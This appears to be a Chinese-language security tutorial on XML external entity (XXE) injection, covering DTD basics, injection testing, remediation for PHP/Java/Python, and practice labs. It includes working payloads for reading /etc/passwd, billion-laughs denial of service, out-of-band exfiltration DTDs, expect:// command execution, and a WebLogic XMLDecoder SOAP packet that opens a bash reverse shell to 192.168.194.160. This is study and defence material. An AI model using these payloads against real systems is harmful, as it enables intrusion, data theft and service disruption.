XXE

漏洞原理

XXE,XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体。

XML原理

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构,包括XML声明DTD文档类型定义(可选)文档元素

xml语法:

  • 所有XMl元素必须有一个闭合标签
  • XMl标签对大小写敏感
  • XMl必须正确嵌套
  • XML属性值必须加引号
  • 实体引用
  • 在XMl中,空格会被保留

DTD 可被成行地声明于XML文档中,也可作为一个外部引用。实体必须在DTD中定义申明,也可以在文档中其他位置引用该实体。

通常有以下三种类型:

  • 内部实体
  • 外部实体
  • 参数实体。

实体引用的方式举例:

  • 内部实体引用

    <!DOCTYPE foo [
      <!ENTITY myentity "Hello, world!">
    ]>
    <root>
      &myentity;
    </root>
    
  • 外部实体引用:引用一个外部文件并插入xml文档中

    <!DOCTYPE foo [
      <!ENTITY myentity SYSTEM "http://example.com/myfile.xml">
    ]>
    <root>
      &myentity;
    </root>
    
  • 参数实体引用:只允许在DTD文档中使用,不能在xml文档(比如root标签处)中使用

    <!DOCTYPE foo [
      <!ENTITY % myentity SYSTEM "http://example.com/myfile.xml"> %myentity;
    ]>
    <root>
      
    </root>
    

xml可支持的外部实体类型是有限制的,不同的程序可能不一样,但基本都有的类型是file、http、ftp

注入点判断

所有接受XML作为输入内容且能够解析的接口的body部分都可能是注入点

接受XML作为传输内容:

Accept:application/xhtml+xml

假如某个接口的请求包数据如下

<user><username>admin;</username><password>123456</password></user>

那么可以尝试注入:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY 
[ <!ENTITY test "Hello world">
]>
<user><username>admin;&test;</username><password>123456</password></user>

测试是否支持DTD引用外部实体

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt">
]>
<user><username>admin;&test;</username><password>123456</password></user>

当远端服务器看到了请求记录就代表允许引用外部实体,因此也就存在xml外部实体漏洞

另外,content-type为json的接口也有一定可能存在XXE漏洞,返回JSON格式数据的接口可能存在XXE注入点,如果应用程序在处理JSON数据之前将其转换为XML,或者接受XML格式的数据作为备选输入,这种情况下,攻击者可以通过修改Content-Type头或者在JSON数据中嵌入XML标签来触发XXE漏洞

漏洞分类

XXE 攻击类型 描述
利用 XXE 检索文件 其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。
利用 XXE 执行 SSRF 攻击 其中,外部实体是根据后端系统的 URL 定义的。
利用盲 XXE 在带外泄露数据 敏感数据从应用程序服务器传输到攻击者控制的系统的位置。
利用盲XXE通过错误消息检索数据 攻击者可以触发包含敏感数据的解析错误消息。

有回显

  1. 直接DTD外部实体引用:

    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt">
    ]>
    
  2. 间接引用DTD文档

    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://localhost/test.dtd">
    ]>
    

    DTD文档的内容是:

    <!ENTITY test SYSTEM "http://192.168.194.152:9000/urls.txt">
    

无回显(bind)

漏洞利用

只要能够被服务器请求,那么就基本可以利用。比如在进行内网渗透时,内网主机NFS配置不当或是rsync配置不当都可能导致文件被读取,如果内网主机存在远程命令执行漏洞,借助服务器,攻击者可以直接在内网主机上执行命令

文件读取

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "file:///etc/passwd">%name;
]>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>admin;&xxe;</username><password>123456</password></user>

###

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  <!ELEMENT data (#PCDATA)>  ]><data>4</data>

拒绝服务攻击

通过创建一项递归的 XML 定义,在内存中生成大量数据,从而导致 DoS 攻击。

构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

带外注入

<?xml version="1.0"?>

<!DOCTYPE message [

    <!ENTITY% files SYSTEM "file:///etc/passwd"> 

    <!ENTITY% send SYSTEM "http://myip/?a=%files;">

%send;]>

如果报错参数实体引用不能出现在 DTD 的内部子集中的标记内,那就必须将参数实体引用放在外部的DTD文件中

1.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
        <!ENTITY % xd SYSTEM "http://localhost:8080/1.dtd">
        %xd;
        ]>
<root>&bbbb;</root>

1.dtd:

<!ENTITY % aaaa SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://localhost:8080/?file=%aaaa;'>">
%demo;

需要注意的是,这种引用需要文件中的内容是一段没有空格的字符串,否则得到的url将格式错误导致无法正常发出请求,

远程命令执行

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://id">
]>
<abc>&test;</abc>

此示例依赖于php安装了expect扩展

又比如weblogic的基于xmldecoder的java反序列化漏洞,通过构造特定的包,在里面包含特定的xml文档就可以实现远程命令执行:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.194.160/8000 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

检测工具

XXEinjector

  • 需要指定–host参数,表示我们的IP地址,用于接收反向连接。
  • 需要指定–file参数,表示包含有效HTTP请求和XML数据的文件。
  • 可以指定–path参数,表示要读取的文件或目录的路径。
  • 可以指定–brute参数,表示要暴力破解的文件列表。
  • 可以指定–oob参数,表示使用带外方法获取数据,如http、ftp、gopher等。
  • 可以指定–second参数,表示使用二次请求来发送带外数据。
  • 可以指定–phpfilter参数,表示使用PHP过滤器绕过限制。
  • 可以指定–expect参数,表示使用expect://协议执行命令。

XXExploiter

代码审计

sax

漏洞修复

  1. 将xml的预定义字符进行转义:
预定义字符 转义后的预定义字符
< &lt;
> &gt;
& &amp;
&apos;
&quot;
  1. 关闭外部实体引用或是忽略它,不同的xml解析库有不同的关闭方式:

    • PHP: 使用libxml_disable_entity_loader(true)函数
    • JAVA: 使用DocumentBuilderFactory类的setExpandEntityReferences(false)方法
    • Python: 使用lxml库的etree.XMLParser类的resolve_entities参数设置为False
    PHP:
    libxml_disable_entity_loader(true);                          
        
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
        
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    

    更多:XML 外部实体防护 - OWASP 备忘单系列

参考

靶场

  1. XXE Injection Lab: 这是一个开放的XXE漏洞测试平台,包含了多个不同的测试场景。你可以在这里练习不同类型的XXE攻击,包括基于本地文件系统、外部实体和参数实体的攻击等。
  2. OWASP WebGoat: WebGoat是一个专门设计用于测试Web应用程序安全性的开放源代码项目。它包含许多不同的漏洞示例,其中包括XXE漏洞。你可以使用WebGoat来学习XXE漏洞的不同类型和如何利用它们。
  3. PentesterLab: 这是一个专注于Web应用程序安全性测试和漏洞利用的平台。它提供了一些XXE漏洞的练习场景,帮助你深入了解如何识别和利用XXE漏洞。
  4. Hack.me: 这是一个基于Web的漏洞测试平台,其中包含许多不同类型的漏洞示例,包括XXE漏洞。你可以在Hack.me上找到一些有趣的XXE漏洞测试场景。